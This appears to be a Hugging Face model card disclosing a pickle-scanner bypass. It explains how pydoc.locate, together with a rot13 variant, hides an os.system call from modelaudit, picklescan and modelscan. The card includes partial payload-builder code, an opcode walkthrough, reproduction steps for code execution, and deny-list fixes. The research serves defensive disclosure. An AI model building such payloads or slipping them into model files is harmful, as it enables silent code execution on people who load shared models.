You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
pydoc.locate β Resolve Any Dotted Name to a Callable
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 1 | 0 | Partial |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
pydoc.locate(path) resolves any dotted Python name to the actual object:
pydoc.locate('os.system') β <built-in function system>
pydoc.locate('subprocess.Popen') β <class 'subprocess.Popen'>
pydoc.locate('builtins.exec') β <built-in function exec>
The dangerous module/function name is a plain string argument β never a pickle GLOBAL opcode. This is a serialization laundering attack: pydoc.locate internally does the import and attribute lookup, hiding the dangerous reference from GLOBAL-based detection.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build_naive(cmd: str, dotted_func: str = "os.system") -> bytes:
"""pydoc.locate('os.system')(cmd) β 2 CRITICAL (os.system literal + pydoc.locate).
Faithful reproduction of the original pickle.
The dangerous name appears as a readable string β triggers string content scanner.
"""
ops = bytearray(b"\x80\x04")
# pydoc.locate('os.system') β os.system fn [CRITICAL β pydoc.locate in ADF]
ops += sg("pydoc", "locate") + sbu(dotted_func) + b"\x85R"
ops += b"\x94\x30" # MEMOIZE 0, POP
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) β any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-pydoc-locate-laundering
cd pickle-bypass-pydoc-locate-laundering
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
pydoc.locate is already in modelaudit's ALWAYS_DANGEROUS_FUNCTIONS in 0.2.37. Add to picklescan and modelscan deny lists.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently β the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
pydoc.locate β Resolve Any Dotted Name to a Callable
Modelaudit score: 2 CRITICAL (string pattern "os.system" + pydoc.locate in ADF); 1C with rot13 obfuscation
picklescan score: 0 findings
modelscan score: 0 findings
Mechanism
pydoc.locate(path) resolves any dotted Python name to the actual object:
pydoc.locate('os.system') β <built-in function system>
pydoc.locate('subprocess.Popen') β <class 'subprocess.Popen'>
pydoc.locate('builtins.exec') β <built-in function exec>
The dangerous module/function name is a plain string argument β never a pickle GLOBAL opcode. This is a serialization laundering attack: pydoc.locate internally does the import and attribute lookup, hiding the dangerous reference from GLOBAL-based detection.
GLOBAL 'pydoc' 'locate' [CRITICAL β pydoc.locate in ADF]
STRING 'os.system' [also triggers string content scanner]
TUPLE + REDUCE β os.system function
STRING 'touch /tmp/...'
TUPLE + REDUCE β os.system(cmd) β RCE
With Rot13 Obfuscation (1C only)
_codecs.encode(rot13('os.system'), 'rot_13') β 'os.system' [0 findings]
pydoc.locate('os.system') β os.system fn [1 CRITICAL]
os.system(cmd) β RCE [no new GLOBAL]
Why picklescan/modelscan Miss It
Neither pydoc nor pydoc.locate appears in their deny lists. The dangerous module name is a string argument, not a GLOBAL opcode. These scanners only check GLOBAL opcode targets.
Recommended Fix
pydoc.locate is already in modelaudit's ALWAYS_DANGEROUS_FUNCTIONS in 0.2.37. Add to picklescan and modelscan deny lists.
General Analysis β Security Research